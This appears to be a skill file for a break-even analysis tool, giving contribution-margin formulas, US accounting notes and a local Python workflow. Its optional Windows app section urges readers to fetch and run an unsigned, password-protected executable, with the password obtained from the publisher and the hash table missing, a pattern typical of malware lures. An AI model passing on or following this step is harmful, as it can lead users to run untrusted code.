Break-Even Analysis

Computes break-even units and revenue for a US offer from price, variable cost and fixed cost, with margin and sensitivity checks. Written for US owners, product managers and finance students building the case for a price or a new line.

Use this skill when someone asks for:

• break even analysis template
• break even calculator business
• contribution margin formula
• break even units spreadsheet

The job

A new price or a new product line gets approved on enthusiasm, and nobody checks what volume has to clear before it stops losing money.

What you get

1. Collect price per unit, variable cost per unit and the fixed costs for the period.
2. Compute contribution margin per unit, then break-even units and break-even revenue.
3. Run the checks: contribution margin above zero, break-even revenue inside the cash plan, and headroom over it.
4. List the assumptions and the two inputs that would most change the answer.

Output contract:

• inputs - price, variable cost, fixed costs and the period, each with its source
• break_even - units and revenue needed to cover the period's fixed costs
• margin_check - contribution margin per unit and as a percent of price
• sensitivity - the result under a stated change in price and in variable cost
• basis_note - whether the numbers are on a cash or accrual basis

US specifics that matter

• US GAAP matches expenses to the revenue they helped create, so a project with no revenue in the period still carries its costs in that period.
• Sales tax collected on a sale is not revenue and must not be counted in break-even revenue.
• Amortization of a capitalized cost is spread over the benefit period under GAAP, while a cash view spreads it differently, so name the basis you used.
• Most US small businesses keep books on the cash basis, so the cash view usually matches what the bank account does.

Guardrails (hard rules)

• Never treat the break-even number as a forecast or as a promise of profit.
• Never leave out a fixed cost to make the break-even point look reachable.
• Never present the result as accounting advice; the accountant confirms the treatment.
• Never mix cash-basis and accrual-basis figures in one calculation.

Quickstart

1. Fill in the brief

templates/break-even.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/calc_break_even.py --input break-even.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/break-even.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

The math

• Contribution margin per unit equals price minus variable cost per unit.
• Break-even units equal fixed costs divided by contribution margin per unit.
• Break-even revenue equals break-even units multiplied by price.
• If contribution margin is zero or negative, there is no break-even volume.
• Round up to whole units when the product is sold as a unit.

What counts as fixed

• Rent, salaried staff, software subscriptions and insurance.
• Interest on the facilities used for this offer.
• Depreciation or amortization when the basis is accrual.
• The fixed costs have to cover the same period as the forecast.

What counts as variable

• Materials, packaging and freight per unit.
• Payment processing fees per transaction.
• Support time per order at an internal rate.
• Sales commission per sale.
• Returns and refunds usually move with volume, so keep them on the variable side.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/break-even.md - Break-even analysis for US offers
• templates/break-even.yaml - the brief to fill in
• scripts/calc_break_even.py - the working script

Verify the bundle

python3 scripts/calc_break_even.py --input break-even.yaml --out ./out

Related

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• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.